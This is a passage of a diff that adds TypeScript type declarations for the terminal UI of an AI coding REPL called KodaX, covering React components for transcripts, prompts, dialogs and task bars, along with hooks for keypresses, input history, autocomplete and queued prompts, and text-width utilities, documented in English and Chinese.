+ * standalone (e.g. assistant header) and inside `TranscriptRowRenderer`'s
1442
+ * loading-indicator row. All instances cycle in lockstep.
1443
+ */
1444
+ declare const Spinner: React$1.FC<SpinnerProps>;
1445
+ /**
1446
+ * Dots indicator component - 点指示器组件
1447
+ */
1448
+ declare const DotsIndicator: React$1.FC<DotsIndicatorProps>;
1449
+ /**
1450
+ * Progress indicator component - 进度指示器组件
1451
+ */
1452
+ declare const ProgressIndicator: React$1.FC<ProgressIndicatorProps>;
1453
+ /**
1454
+ * Thinking indicator component - 思考指示器组件
1455
+ */
1456
+ declare const ThinkingIndicator: React$1.FC<ThinkingIndicatorProps>;
1457
+ /**
1458
+ * Loading indicator component - 加载指示器组件
1459
+ */
1460
+ declare const LoadingIndicator: React$1.FC<LoadingIndicatorProps>;
1461
+
1462
+ /**
1463
+ * SuggestionsDisplay - Autocomplete suggestion display component - 自动补全建议显示组件
1464
+ *
1465
+ * Display autocomplete suggestions list with support for:
1466
+ * - Highlight selected item - 高亮选中项
1467
+ * - Scroll display (when suggestions exceed max visible) - 滚动显示(当建议数量超过最大可见数)
1468
+ * - Description display - 描述显示
1469
+ * - Type icons - 类型图标
1470
+ */
1471
+
1472
+ interface SuggestionsDisplayProps {
1473
+ /** Suggestion list - 建议列表 */
1474
+ suggestions: Suggestion[];
1475
+ /** Current selected index - 当前选中索引 */
1476
+ selectedIndex: number;
1477
+ /** Whether visible - 是否可见 */
1478
+ visible: boolean;
1479
+ /** Maximum visible count - 最大可见数量 */
1480
+ maxVisible?: number;
1481
+ /** Container width - 容器宽度 */
1482
+ width?: number;
1483
+ /** Whether to show count - 是否显示计数 */
1484
+ showCount?: boolean;
1485
+ }
1486
+ /**
1487
+ * Suggestion display component - 建议显示组件
1488
+ */
1489
+ declare function SuggestionsDisplay({ suggestions, selectedIndex, visible, maxVisible, width, showCount, }: SuggestionsDisplayProps): React$1.ReactElement | null;
1490
+
1491
+ interface PendingInputsIndicatorProps {
1492
+ pendingInputs: readonly string[];
1493
+ }
1494
+ declare const PendingInputsIndicator: React$1.FC<PendingInputsIndicatorProps>;
1495
+
1496
+ interface FullscreenTranscriptChromeSlot {
1497
+ visible?: boolean;
1498
+ label?: string;
1499
+ hint?: string;
1500
+ onTrigger?: () => void;
1501
+ tone?: "dim" | "accent";
1502
+ }
1503
+ interface FullscreenTranscriptLayoutProps {
1504
+ top?: React$1.ReactNode;
1505
+ topRows?: number;
1506
+ transcript?: React$1.ReactNode;
1507
+ renderTranscriptWindow?: (window: ScrollBoxWindow) => React$1.ReactNode;
1508
+ footer: React$1.ReactNode;
1509
+ overlay?: React$1.ReactNode;
1510
+ stickyHeader?: FullscreenTranscriptChromeSlot;
1511
+ jumpToLatest?: FullscreenTranscriptChromeSlot;
1512
+ width?: number;
1513
+ scrollTop?: number;
1514
+ scrollHeight?: number;
1515
+ viewportHeight?: number;
1516
+ stickyScroll?: boolean;
1517
+ scrollRef?: React$1.Ref<ScrollBoxHandle>;
1518
+ onScrollTopChange?: (nextScrollTop: number) => void;
1519
+ onStickyChange?: (sticky: boolean) => void;
1520
+ onWindowChange?: (window: ScrollBoxWindow) => void;
1521
+ }
1522
+ declare const FullscreenTranscriptLayout: React$1.FC<FullscreenTranscriptLayoutProps>;
1523
+
1524
+ interface TranscriptViewportBrowseState {
1525
+ hintText?: string;
1526
+ }
1527
+ interface TranscriptViewportSelectionState {
1528
+ itemSummary?: string;
1529
+ itemKind?: string;
1530
+ position?: {
1531
+ current: number;
1532
+ total: number;
1533
+ };
1534
+ detailState?: "compact" | "expanded";
1535
+ copyCapabilities?: {
1536
+ message?: boolean;
1537
+ toolInput?: boolean;
1538
+ copyOnSelect?: boolean;
1539
+ };
1540
+ toggleDetail?: boolean;
1541
+ navigationCapabilities?: {
1542
+ selection?: boolean;
1543
+ };
1544
+ }
1545
+ interface TranscriptViewportSearchState {
1546
+ query?: string;
1547
+ matches?: Array<{
1548
+ itemId: string;
1549
+ excerpt: string;
1550
+ }>;
1551
+ currentMatchIndex?: number;
1552
+ anchorItemId?: string;
1553
+ statusText?: string;
1554
+ surface?: React$1.ReactNode;
1555
+ onNext?: () => void;
1556
+ onPrev?: () => void;
1557
+ }
1558
+ interface TranscriptViewportProps extends MessageListProps {
1559
+ browse?: TranscriptViewportBrowseState;
1560
+ selection?: TranscriptViewportSelectionState;
1561
+ search?: TranscriptViewportSearchState;
1562
+ chromeMode?: "inline" | "hidden";
1563
+ }
1564
+ declare const TranscriptViewport: React$1.FC<TranscriptViewportProps>;
1565
+
1566
+ interface PromptComposerProps extends InputPromptAutocompleteProps {
1567
+ }
1568
+ declare const PromptComposer: React$1.FC<PromptComposerProps>;
1569
+
1570
+ interface PromptFooterSurfaceItem {
1571
+ id: string;
1572
+ label: string;
1573
+ accent?: boolean;
1574
+ }
1575
+ interface PromptFooterLeftSideProps {
1576
+ items?: readonly PromptFooterSurfaceItem[];
1577
+ }
1578
+ declare const PromptFooterLeftSide: React$1.FC<PromptFooterLeftSideProps>;
1579
+ interface PromptFooterRightSideProps {
1580
+ items?: readonly PromptFooterSurfaceItem[];
1581
+ }
1582
+ declare const PromptFooterRightSide: React$1.FC<PromptFooterRightSideProps>;
1583
+ interface PromptFooterProps {
1584
+ left?: React$1.ReactNode;
1585
+ right?: React$1.ReactNode;
1586
+ queued?: React$1.ReactNode;
1587
+ stashNotice?: React$1.ReactNode;
1588
+ notifications?: React$1.ReactNode;
1589
+ inlineNotices?: React$1.ReactNode;
1590
+ activityBar?: React$1.ReactNode;
1591
+ /**
1592
+ * FEATURE_097 (v0.7.34) — todo list slot. Mounted between the
1593
+ * activity bar (spinner) and the composer so the Scout-seeded plan
1594
+ * list sits directly under the spinner, above the user prompt and
1595
+ * the BackgroundTaskBar. Layout reference: docs/features/v0.7.34.md
1596
+ * §"挂载点".
1597
+ */
1598
+ todoSurface?: React$1.ReactNode;
1599
+ composer: React$1.ReactNode;
1600
+ inlineSuggestions?: React$1.ReactNode;
1601
+ helpSurface?: React$1.ReactNode;
1602
+ taskBar?: React$1.ReactNode;
1603
+ statusLine?: React$1.ReactNode;
1604
+ inlineDialogs?: React$1.ReactNode;
1605
+ }
1606
+ declare const PromptFooter: React$1.FC<PromptFooterProps>;
1607
+
1608
+ interface HelpMenuItem {
1609
+ id: string;
1610
+ label: string;
1611
+ }
1612
+ interface HelpMenuSection {
1613
+ id: string;
1614
+ title: string;
1615
+ items: HelpMenuItem[];
1616
+ }
1617
+
1618
+ interface PromptHelpMenuProps {
1619
+ sections: HelpMenuSection[];
1620
+ title?: string;
1621
+ }
1622
+ declare const PromptHelpMenu: React$1.FC<PromptHelpMenuProps>;
1623
+
1624
+ interface PromptSuggestionsSurfaceProps {
1625
+ reserveSpace: boolean;
1626
+ width: number;
1627
+ hidden?: boolean;
1628
+ mode?: "inline" | "overlay";
1629
+ }
1630
+ declare const PromptSuggestionsSurface: React$1.FC<PromptSuggestionsSurfaceProps>;
1631
+
1632
+ interface DialogSelectOption {
1633
+ value: string;
1634
+ label: string;
1635
+ description?: string;
1636
+ }
1637
+ interface DialogSurfaceConfirmState {
1638
+ prompt: string;
1639
+ instruction?: string;
1640
+ /**
1641
+ * FEATURE_075: full plan content rendered in a scrollable panel for
1642
+ * `exit_plan_mode` approval. Arrow keys and PgUp/PgDn scroll the plan
1643
+ * inside the dialog while the approval buttons stay pinned.
1644
+ */
1645
+ planContent?: string;
1646
+ }
1647
+ interface DialogSurfaceUIRequestState {
1648
+ kind: "select" | "input";
1649
+ title?: string;
1650
+ prompt?: string;
1651
+ options?: DialogSelectOption[];
1652
+ defaultValue?: string;
1653
+ buffer: string;
1654
+ error?: string;
1655
+ visibleSelectOptions?: number;
1656
+ /** Index of the currently focused option (arrow-key navigation). */
1657
+ focusedIndex?: number;
1658
+ /** Indices of selected options (multiSelect mode). */
1659
+ selectedIndices?: number[];
1660
+ /** Whether this is a multi-select dialog. */
1661
+ multiSelect?: boolean;
1662
+ }
1663
+ interface DialogSurfaceProps {
1664
+ confirm?: DialogSurfaceConfirmState | null;
1665
+ request?: DialogSurfaceUIRequestState | null;
1666
+ }
1667
+ declare const DialogSurface: React$1.FC<DialogSurfaceProps>;
1668
+
1669
+ interface BackgroundTaskBarItem {
1670
+ id: string;
1671
+ label: string;
1672
+ accent?: boolean;
1673
+ selected?: boolean;
1674
+ hint?: string;
1675
+ }
1676
+ interface BackgroundTaskBarProps {
1677
+ items: readonly BackgroundTaskBarItem[];
1678
+ overflowLabel?: string;
1679
+ ctaHint?: string;
1680
+ showSpinner?: boolean;
1681
+ }
1682
+ declare const BackgroundTaskBar: React$1.FC<BackgroundTaskBarProps>;
1683
+
1684
+ interface QueuedCommandsSurfaceProps {
1685
+ pendingInputs: readonly string[];
1686
+ }
1687
+ declare const QueuedCommandsSurface: React$1.FC<QueuedCommandsSurfaceProps>;
1688
+
1689
+ interface StatusNoticesSurfaceProps {
1690
+ notices: readonly string[];
1691
+ }
1692
+ declare const StatusNoticesSurface: React$1.FC<StatusNoticesSurfaceProps>;
1693
+
1694
+ interface NotificationSurfaceItem {
1695
+ id: string;
1696
+ text: string;
1697
+ tone?: "info" | "warning" | "accent";
1698
+ }
1699
+ interface NotificationsSurfaceProps {
1700
+ notifications: readonly NotificationSurfaceItem[];
1701
+ }
1702
+ declare const NotificationsSurface: React$1.FC<NotificationsSurfaceProps>;
1703
+
1704
+ interface StashNoticeProps {
1705
+ text?: string;
1706
+ }
1707
+ declare const StashNotice: React$1.FC<StashNoticeProps>;
1708
+
1709
+ interface MessageSelectorProps {
1710
+ itemSummary?: string;
1711
+ itemKind?: string;
1712
+ position?: {
1713
+ current: number;
1714
+ total: number;
1715
+ };
1716
+ detailState?: "compact" | "expanded";
1717
+ }
1718
+ declare const MessageSelector: React$1.FC<MessageSelectorProps>;
1719
+
1720
+ interface MessageActionsProps {
1721
+ copyMessage?: boolean;
1722
+ copyToolInput?: boolean;
1723
+ copyOnSelect?: boolean;
1724
+ toggleDetail?: boolean;
1725
+ selectionNavigation?: boolean;
1726
+ matchNavigation?: boolean;
1727
+ dismissAction?: "clear" | "close-search";
1728
+ }
1729
+ declare const MessageActions: React$1.FC<MessageActionsProps>;
1730
+
1731
+ /**
1732
+ * useTextBuffer - TextBuffer React Hook
1733
+ *
1734
+ * Integrates TextBuffer class with React state management - 将 TextBuffer 类与 React 状态管理集成
1735
+ */
1736
+
1737
+ interface UseTextBufferOptions {
1738
+ initialValue?: string;
1739
+ onTextChange?: (text: string) => void;
1740
+ }
1741
+ declare function useTextBuffer(options?: UseTextBufferOptions): UseTextBufferReturn;
1742
+
1743
+ /**
1744
+ * useKeypress - Keyboard event handling Hook
1745
+ *
1746
+ * Wraps KodaX's KeypressContext so UI keyboard handling stays on the local
1747
+ * input pipeline instead of depending on Ink's useInput.
1748
+ */
1749
+
1750
+ interface UseKeypressOptions {
1751
+ onKey?: (key: KeyInfo) => boolean;
1752
+ onEsc?: () => void;
1753
+ onCtrlC?: () => void;
1754
+ enabled?: boolean;
1755
+ }
1756
+ declare function useKeypress(options?: UseKeypressOptions): {
1757
+ lastEscTime: number;
1758
+ };
1759
+ declare function createKeyMatcher(key: KeyInfo): {
1760
+ is: (name: string, modifiers?: {
1761
+ ctrl?: boolean;
1762
+ shift?: boolean;
1763
+ meta?: boolean;
1764
+ }) => boolean;
1765
+ isCtrl: (name: string) => boolean;
1766
+ isShift: (name: string) => boolean;
1767
+ isArrow: () => boolean;
1768
+ isChar: () => boolean;
1769
+ getChar: () => string | null;
1770
+ };
1771
+
1772
+ /**
1773
+ * useInputHistory - Input history management Hook - 输入历史管理 Hook
1774
+ *
1775
+ * Manages command history, supports up/down arrow navigation.
1776
+ *
1777
+ * Module-scoped history store: the entries array lives at module scope so it
1778
+ * survives PromptComposer unmount+remount (triggered e.g. by Ctrl+O transcript
1779
+ * toggle in InkREPL). historyIndex / tempInput remain component-scoped so the
1780
+ * nav cursor resets on remount, matching pre-existing user-visible behavior.
1781
+ *
1782
+ * Design: docs/features/v0.7.21.md FEATURE_077.
1783
+ *
1784
+ * Issue 121 extension: each entry may carry a `pastedContents` snapshot so
1785
+ * recalled prompts containing `[Pasted text #N]` placeholders still expand
1786
+ * to their original content when resubmitted. The module-scoped store keeps
1787
+ * pasted content references alive across composer remounts within a session.
1788
+ */
1789
+
1790
+ interface AddHistoryOptions {
1791
+ pastedContents?: PastedContent[];
1792
+ }
1793
+ interface UseInputHistoryOptions {
1794
+ maxSize?: number;
1795
+ onSave?: (entry: HistoryEntry) => void;
1796
+ }
1797
+ interface UseInputHistoryReturn {
1798
+ add: (text: string, options?: AddHistoryOptions) => void;
1799
+ navigateUp: () => HistoryEntry | null;
1800
+ navigateDown: () => HistoryEntry | null;
1801
+ reset: () => void;
1802
+ saveTempInput: (text: string) => void;
1803
+ }
1804
+ declare function useInputHistory(options?: UseInputHistoryOptions): UseInputHistoryReturn;
1805
+
1806
+ /**
1807
+ * KodaX Autocomplete Module - 自动补全模块
1808
+ *
1809
+ * Provides Tab completion for file paths and commands
1810
+ * 提供文件路径和命令的 Tab 补全功能
1811
+ */
1812
+ /**
1813
+ * Completion item - 补全项
1814
+ */
1815
+ interface Completion {
1816
+ text: string;
1817
+ display: string;
1818
+ description?: string;
1819
+ type: 'file' | 'command' | 'argument' | 'skill';
1820
+ /** Match score (internal use) - 匹配评分(内部使用) */
1821
+ score?: number;
1822
+ }
1823
+
1824
+ /**
1825
+ * Autocomplete Provider - 自动补全提供者
1826
+ *
1827
+ * Combines all completers with fuzzy matching and debouncing.
1828
+ * 组合所有补全器,提供模糊匹配和防抖功能。
1829
+ *
1830
+ * Features:
1831
+ * - Auto-trigger on typing (debounced) - 输入时自动触发(防抖)
1832
+ * - Fuzzy matching with scoring - 带评分的模糊匹配
1833
+ * - Combined results from multiple completers - 多个补全器的组合结果
1834
+ * - Keyboard navigation support - 键盘导航支持
1835
+ */
1836
+
1837
+ /**
1838
+ * Autocomplete state for UI binding
1839
+ * 用于 UI 绑定的自动补全状态
1840
+ */
1841
+ interface AutocompleteState {
1842
+ /** Whether dropdown is visible - 下拉框是否可见 */
1843
+ visible: boolean;
1844
+ /** Current selected index - 当前选中索引 */
1845
+ selectedIndex: number;
1846
+ /** Current completions - 当前补全列表 */
1847
+ completions: Completion[];
1848
+ /** Whether completions are loading - 补全是否正在加载 */
1849
+ loading: boolean;
1850
+ }
1851
+ /**
1852
+ * Options for AutocompleteProvider
1853
+ * AutocompleteProvider 的配置选项
1854
+ */
1855
+ interface AutocompleteProviderOptions {
1856
+ /** Working directory for file completion - 文件补全的工作目录 */
1857
+ cwd?: string;
1858
+ /** Git root for skill discovery - 技能发现的 Git 根目录 */
1859
+ gitRoot?: string;
1860
+ /** Debounce delay in ms (default: 100) - 防抖延迟(默认:100ms) */
1861
+ debounceDelay?: number;
1862
+ /** Minimum characters to trigger (default: 1) - 触发的最小字符数(默认:1) */
1863
+ minTriggerChars?: number;
1864
+ /** Maximum completions to show (default: 10) - 最大显示补全数(默认:10) */
1865
+ maxCompletions?: number;
1866
+ /** Minimum score threshold for fuzzy match (default: 0) - 模糊匹配的最低评分阈值(默认:0) */
1867
+ minScore?: number;
1868
+ }
1869
+ /**
1870
+ * Internal options type with required defaults
1871
+ * 内部选项类型,包含必需的默认值
1872
+ */
1873
+ type InternalOptions = Required<Omit<AutocompleteProviderOptions, 'cwd' | 'gitRoot'>> & Pick<AutocompleteProviderOptions, 'cwd' | 'gitRoot'>;
1874
+ /**
1875
+ * Autocomplete Provider - Main orchestrator for autocomplete
1876
+ * 自动补全提供者 - 自动补全的主要协调器
1877
+ */
1878
+ declare class AutocompleteProvider {
1879
+ private completers;
1880
+ private options;
1881
+ private state;
1882
+ private listeners;
1883
+ private debounceTimer;
1884
+ private lastInput;
1885
+ private lastCursorPos;
1886
+ constructor(options?: AutocompleteProviderOptions);
1887
+ /**
1888
+ * Get current options
1889
+ * 获取当前选项
1890
+ */
1891
+ getOptions(): InternalOptions;
1892
+ /**
1893
+ * Get current state
1894
+ * 获取当前状态
1895
+ */
1896
+ getState(): AutocompleteState;
1897
+ /**
1898
+ * Subscribe to state changes
1899
+ * 订阅状态变化
1900
+ */
1901
+ subscribe(listener: (state: AutocompleteState) => void): () => void;
1902
+ /**
1903
+ * Update options (e.g., when changing directories)
1904
+ * 更新选项(如切换目录时)
1905
+ */
1906
+ updateOptions(options: Partial<AutocompleteProviderOptions>): void;
1907
+ /**
1908
+ * Handle input change (auto-trigger with debounce)
1909
+ * 处理输入变化(带防抖的自动触发)
1910
+ */
1911
+ handleInput(input: string, cursorPos: number): void;
1912
+ /**
1913
+ * Immediately fetch completions (for Tab key)
1914
+ * 立即获取补全(用于 Tab 键)
1915
+ */
1916
+ fetchImmediate(input: string, cursorPos: number): Promise<Completion[]>;
1917
+ /**
1918
+ * Move selection up
1919
+ * 向上移动选择
1920
+ */
1921
+ selectPrevious(): void;
1922
+ /**
1923
+ * Move selection down
1924
+ * 向下移动选择
1925
+ */
1926
+ selectNext(): void;
1927
+ /**
1928
+ * Get currently selected completion
1929
+ * 获取当前选中的补全
1930
+ */
1931
+ getSelectedCompletion(): Completion | null;
1932
+ /**
1933
+ * Accept selected completion (returns replacement text)
1934
+ * 接受选中的补全(返回替换文本)
1935
+ */
1936
+ acceptCompletion(): string | null;
1937
+ /**
1938
+ * Accept selected completion with type info (for smart replacement)
1939
+ * 接受选中的补全并返回类型信息(用于智能替换)
1940
+ */
1941
+ acceptCompletionWithType(): {
1942
+ text: string;
1943
+ type: Completion['type'];
1944
+ } | null;
1945
+ /**
1946
+ * Cancel/hide autocomplete
1947
+ * 取消/隐藏自动补全
1948
+ */
1949
+ cancel(): void;
1950
+ /**
1951
+ * Check if autocomplete should trigger
1952
+ * 检查自动补全是否应该触发
1953
+ */
1954
+ private shouldTrigger;
1955
+ /**
1956
+ * Fetch completions (debounced handler)
1957
+ * 获取补全(防抖处理器)
1958
+ */
1959
+ private fetchCompletions;
1960
+ /**
1961
+ * Internal completion fetching logic
1962
+ * 内部补全获取逻辑
1963
+ */
1964
+ private fetchCompletionsInternal;
1965
+ /**
1966
+ * Extract search pattern from input
1967
+ * 从输入中提取搜索模式
1968
+ */
1969
+ private extractPattern;
1970
+ /**
1971
+ * Update state and notify listeners
1972
+ * 更新状态并通知监听器
1973
+ */
1974
+ private updateState;
1975
+ }
1976
+
1977
+ /**
1978
+ * useAutocomplete - Autocomplete integration hook - 自动补全集成 Hook
1979
+ *
1980
+ * Provides autocomplete state management and keyboard handling for input components.
1981
+ * 为输入组件提供自动补全状态管理和键盘处理。
13
1982
  *
14
1983
  * Usage:
15
- * ```ts
16
- * import { loadConfig, FileSessionStorage } from '@kodax-ai/kodax/repl';
1984
+ * 1. Call useAutocomplete with text/cursor state
1985
+ * 2. Render autocompleteSuggestions below input
1986
+ * 3. Handle Tab/Enter for selection in keypress handler
1987
+ */
1988
+
1989
+ /**
1990
+ * Context value type (extends UseAutocompleteReturn)
1991
+ * 上下文值类型(扩展 UseAutocompleteReturn)
1992
+ */
1993
+ interface AutocompleteContextValue extends UseAutocompleteReturn {
1994
+ }
1995
+ /**
1996
+ * AutocompleteContextProvider - provides autocomplete state to children
1997
+ * AutocompleteContextProvider - 为子组件提供自动补全状态
1998
+ *
1999
+ * Usage: Wrap your app or component tree with this provider
2000
+ * 用法: 用此 provider 包装你的应用或组件树
2001
+ */
2002
+ declare function AutocompleteContextProvider({ children, cwd, gitRoot, }: {
2003
+ children: ReactNode;
2004
+ cwd?: string;
2005
+ gitRoot?: string;
2006
+ }): React.ReactElement;
2007
+ /**
2008
+ * useAutocompleteContext - access autocomplete context from parent component
2009
+ * useAutocompleteContext - 从父组件访问自动补全上下文
2010
+ *
2011
+ * Use this in InkREPL to render SuggestionsDisplay outside InputPrompt
2012
+ * 在 InkREPL 中使用此 hook 在 InputPrompt 外部渲染 SuggestionsDisplay
2013
+ */
2014
+ declare function useAutocompleteContext(): AutocompleteContextValue | null;
2015
+ /**
2016
+ * Options for useAutocomplete hook
2017
+ * useAutocomplete hook 的选项
2018
+ */
2019
+ interface UseAutocompleteOptions {
2020
+ /** Working directory for file completion - 文件补全的工作目录 */
2021
+ cwd?: string;
2022
+ /** Git root for skill discovery - 技能发现的 Git 根目录 */
2023
+ gitRoot?: string;
2024
+ /** Whether autocomplete is enabled - 是否启用自动补全 */
2025
+ enabled?: boolean;
2026
+ }
2027
+ /**
2028
+ * Selected completion with type info for replacement logic
2029
+ * 带类型信息的选中补全,用于替换逻辑
2030
+ */
2031
+ interface SelectedCompletion {
2032
+ /** Replacement text - 替换文本 */
2033
+ text: string;
2034
+ /** Completion type - 补全类型 */
2035
+ type: 'command' | 'argument' | 'file' | 'skill';
2036
+ }
2037
+ /**
2038
+ * Return type for useAutocomplete hook
2039
+ * useAutocomplete hook 的返回类型
2040
+ */
2041
+ interface UseAutocompleteReturn {
2042
+ /** Current autocomplete state - 当前自动补全状态 */
2043
+ state: AutocompleteState;
2044
+ /** Suggestions for display (converted to Suggestion format) - 用于显示的建议(转换为 Suggestion 格式) */
2045
+ suggestions: Suggestion[];
2046
+ /** Handle input change - 处理输入变化 */
2047
+ handleInput: (text: string, cursorPos: number) => void;
2048
+ /** Handle Tab key - returns selected completion or null - 处理 Tab 键 - 返回选中的补全或 null */
2049
+ handleTab: () => SelectedCompletion | null;
2050
+ /** Handle Enter key when dropdown visible - returns selected completion or null - 处理下拉框可见时的 Enter 键 - 返回选中的补全或 null */
2051
+ handleEnter: () => SelectedCompletion | null;
2052
+ /** Handle up arrow - 处理上箭头 */
2053
+ handleUp: () => void;
2054
+ /** Handle down arrow - 处理下箭头 */
2055
+ handleDown: () => void;
2056
+ /** Handle Escape key - 处理 Escape 键 */
2057
+ handleEscape: () => void;
2058
+ /** Cancel autocomplete - 取消自动补全 */
2059
+ cancel: () => void;
2060
+ /** Get provider instance (for advanced usage) - 获取提供者实例(高级用法) */
2061
+ getProvider: () => AutocompleteProvider;
2062
+ }
2063
+ /**
2064
+ * useAutocomplete hook
2065
+ *
2066
+ * Integrates autocomplete provider with React component state.
2067
+ * 将自动补全提供者与 React 组件状态集成。
2068
+ *
2069
+ * If called without options and within AutocompleteContextProvider, uses context.
2070
+ * Otherwise creates a new provider instance.
2071
+ * 如果不带选项调用且在 AutocompleteContextProvider 内,使用 context。
2072
+ * 否则创建新的 provider 实例。
2073
+ */
2074
+ declare function useAutocomplete(options?: UseAutocompleteOptions): UseAutocompleteReturn;
2075
+
2076
+ /**
2077
+ * FEATURE_159 (v0.7.40) — `useQueuedPrompts` hook.
2078
+ *
2079
+ * Subscribes a React component to the agent-side MessageQueue and
2080
+ * returns the filtered slice of main-thread user-priority prompts —
2081
+ * the same slice REPL renders as "Queue N" / "Queued follow-ups: N".
2082
+ *
2083
+ * Implementation contract:
2084
+ * - Single source of truth = `MessageQueue`. The hook does not mirror
2085
+ * state into React — it subscribes and returns the queue's frozen
2086
+ * snapshot (filtered).
2087
+ * - `useSyncExternalStore` handles consistency across concurrent
2088
+ * React renders. The hook obeys React 18's tearing-prevention
2089
+ * guarantees because `getSnapshot()` returns a reference-stable
2090
+ * frozen array.
2091
+ * - The filter excludes subagent-scoped messages (`agentId !== undefined`)
2092
+ * and background-priority entries (task-notifications). Adding new
2093
+ * surfaces (e.g. queued bash commands when KodaX gains a bash-mode
2094
+ * escape) means adding a separate hook with a different filter, not
2095
+ * overloading this one.
2096
+ *
2097
+ * Why a separate hook instead of just reading `streamingState.pendingInputs`:
2098
+ * - `streamingState.pendingInputs` is a derived mirror maintained by
2099
+ * `StreamingContext`'s queue subscription. New components / non-Ink
2100
+ * consumers (SDK callers wrapped in React) can use this hook
2101
+ * directly without taking a dependency on StreamingContext.
2102
+ * - Per-call filter is fast (queue size ≤ MAX_PENDING_INPUTS = 5 for
2103
+ * prompts in practice); useMemo / re-filter is acceptable.
2104
+ */
2105
+
2106
+ /**
2107
+ * Subscribe to main-thread user-priority prompt slice of the
2108
+ * MessageQueue. Returns a stable snapshot — safe to use as a `useEffect`
2109
+ * dep or pass to a memoized child.
2110
+ */
2111
+ declare function useQueuedPrompts(): readonly QueuedMessage[];
2112
+ /**
2113
+ * Variant returning just the content strings — convenience for the
2114
+ * common case where the consumer doesn't care about ids / timestamps.
2115
+ */
2116
+ declare function useQueuedPromptContents(): readonly string[];
2117
+ /**
2118
+ * Test-only reset hook for the module-level filtered-snapshot cache.
2119
+ * Production code must not call this. Used by tests that reset the
2120
+ * process-global MessageQueue singleton between cases.
2121
+ */
2122
+ declare function _resetQueuedPromptsCacheForTests(): void;
2123
+
2124
+ /**
2125
+ * Text Utilities - LRU Cache + Code Point Utilities - 文本工具:LRU 缓存 + Code Point 工具
2126
+ *
2127
+ * Provides text processing utilities including: - 提供文本处理相关的工具函数,包括:
2128
+ * - LRU cache for caching computation results - LRU 缓存用于缓存计算结果
2129
+ * - Unicode code point processing functions - Unicode code point 处理函数
2130
+ * - Visual width calculation - 视觉宽度计算
2131
+ */
2132
+ /**
2133
+ * LRU (Least Recently Used) Cache - 最近最少使用缓存
2134
+ * Used to cache text processing results and avoid repeated computation - 用于缓存文本处理结果,避免重复计算
2135
+ */
2136
+ declare class LRUCache<K, V> {
2137
+ private capacity;
2138
+ private cache;
2139
+ constructor(capacity: number);
2140
+ /**
2141
+ * Get cached value and update LRU order - 获取缓存值,并更新 LRU 顺序
2142
+ */
2143
+ get(key: K): V | undefined;
2144
+ /**
2145
+ * Set cached value - 设置缓存值
2146
+ */
2147
+ set(key: K, value: V): void;
2148
+ /**
2149
+ * Check if key exists - 检查 key 是否存在
2150
+ */
2151
+ has(key: K): boolean;
2152
+ /**
2153
+ * Delete key - 删除 key
2154
+ */
2155
+ delete(key: K): boolean;
2156
+ /**
2157
+ * Clear cache - 清空缓存
2158
+ */
2159
+ clear(): void;
2160
+ /**
2161
+ * Get current size - 获取当前大小
2162
+ */
2163
+ get size(): number;
2164
+ }
2165
+ /**
2166
+ * Get code point length of a string - 获取字符串的 code point 长度
2167
+ * Properly handles emoji and other multi-byte characters - 正确处理 emoji 和其他多字节字符
2168
+ */
2169
+ declare function getCodePointLength(str: string): number;
2170
+ /**
2171
+ * Check if a character is a wide character (CJK or emoji) - 判断字符是否为宽字符(CJK 或 emoji)
2172
+ */
2173
+ declare function isWideChar(char: string): boolean;
2174
+ /**
2175
+ * Get visual width of a string - 获取字符串的视觉宽度
2176
+ * ASCII = 1, CJK/emoji = 2 - ASCII = 1, CJK/emoji = 2
2177
+ */
2178
+ declare function getVisualWidth(str: string): number;
2179
+ /**
2180
+ * Get character at specified code point position (grapheme cluster) - 获取指定 code point 位置的字符(grapheme cluster)
2181
+ */
2182
+ declare function getCharAtCodePoint(str: string, index: number): string;
2183
+ /**
2184
+ * Split string by code points - 按 code point 分割字符串
2185
+ */
2186
+ declare function splitByCodePoints(str: string): string[];
2187
+ /**
2188
+ * Truncate string by visual width - 按视觉宽度截断字符串
2189
+ */
2190
+ declare function truncateByVisualWidth(str: string, maxWidth: number, addEllipsis?: boolean): string;
2191
+ /**
2192
+ * Visual width calculation cache - 视觉宽度计算缓存
2193
+ */
2194
+ declare const visualWidthCache: LRUCache<string, number>;
2195
+ /**
2196
+ * Cached version of visual width calculation - 缓存版本的视觉宽度计算
2197
+ */
2198
+ declare function getVisualWidthCached(str: string): number;
2199
+ /**
2200
+ * Visual layout interface - 视觉布局接口
2201
+ * Reference: Gemini CLI text-buffer.ts - VisualLayout
2202
+ */
2203
+ interface VisualLayout {
2204
+ /** All visual lines for rendering - 所有视觉行(用于渲染) */
2205
+ visualLines: string[];
2206
+ /** For each logical line: [[visualLineIndex, startColInLogical], ...] - 每个逻辑行 -> 视觉行索引 + 起始列的映射 */
2207
+ logicalToVisualMap: Array<Array<[number, number]>>;
2208
+ /** For each visual line: [logicalLineIndex, startColInLogical] - 每个视觉行 -> 逻辑行 + 起始列的映射 */
2209
+ visualToLogicalMap: Array<[number, number]>;
2210
+ }
2211
+ /**
2212
+ * Calculate visual line wrapping - 计算视觉行换行
2213
+ * Reference: Gemini CLI text-buffer.ts - calculateLayout
2214
+ *
2215
+ * @param logicalLines - Array of logical lines (split by \n) - 逻辑行数组(按 \n 分割)
2216
+ * @param viewportWidth - Terminal width for wrapping - 终端宽度(用于换行)
2217
+ * @param cursorRow - Current logical cursor row - 当前逻辑光标行
2218
+ * @param cursorCol - Current logical cursor column - 当前逻辑光标列
2219
+ * @returns VisualLayout with visual lines and coordinate mappings - 视觉布局,包含视觉行和坐标映射
2220
+ */
2221
+ declare function calculateVisualLayout(logicalLines: string[], viewportWidth: number, cursorRow: number, cursorCol: number): VisualLayout;
2222
+ /**
2223
+ * Calculate visual cursor position from layout - 从布局计算视觉光标位置
2224
+ * Reference: Gemini CLI text-buffer.ts - calculateVisualCursorFromLayout
2225
+ *
2226
+ * @param layout - Visual layout to use for calculation - 用于计算的视觉布局
2227
+ * @param logicalCursor - [logicalRow, logicalCol] - 逻辑光标 [行, 列]
2228
+ * @returns [visualRow, visualCol] - Visual cursor [行, 列]
2229
+ */
2230
+ declare function calculateVisualCursorFromLayout(layout: VisualLayout, logicalCursor: [number, number]): [number, number];
2231
+
2232
+ interface TerminalCapabilities {
2233
+ trueColor: boolean;
2234
+ colors256: boolean;
2235
+ unicode: boolean;
2236
+ emoji: boolean;
2237
+ tty: boolean;
2238
+ columns: number;
2239
+ screenReader: boolean;
2240
+ }
2241
+ declare function supportsTrueColor(): boolean;
2242
+ declare function supports256Colors(): boolean;
2243
+ declare function supportsUnicode(): boolean;
2244
+ declare function supportsEmoji(): boolean;
2245
+ declare function getTerminalWidth(): number;
2246
+ declare function isScreenReader(): boolean;
2247
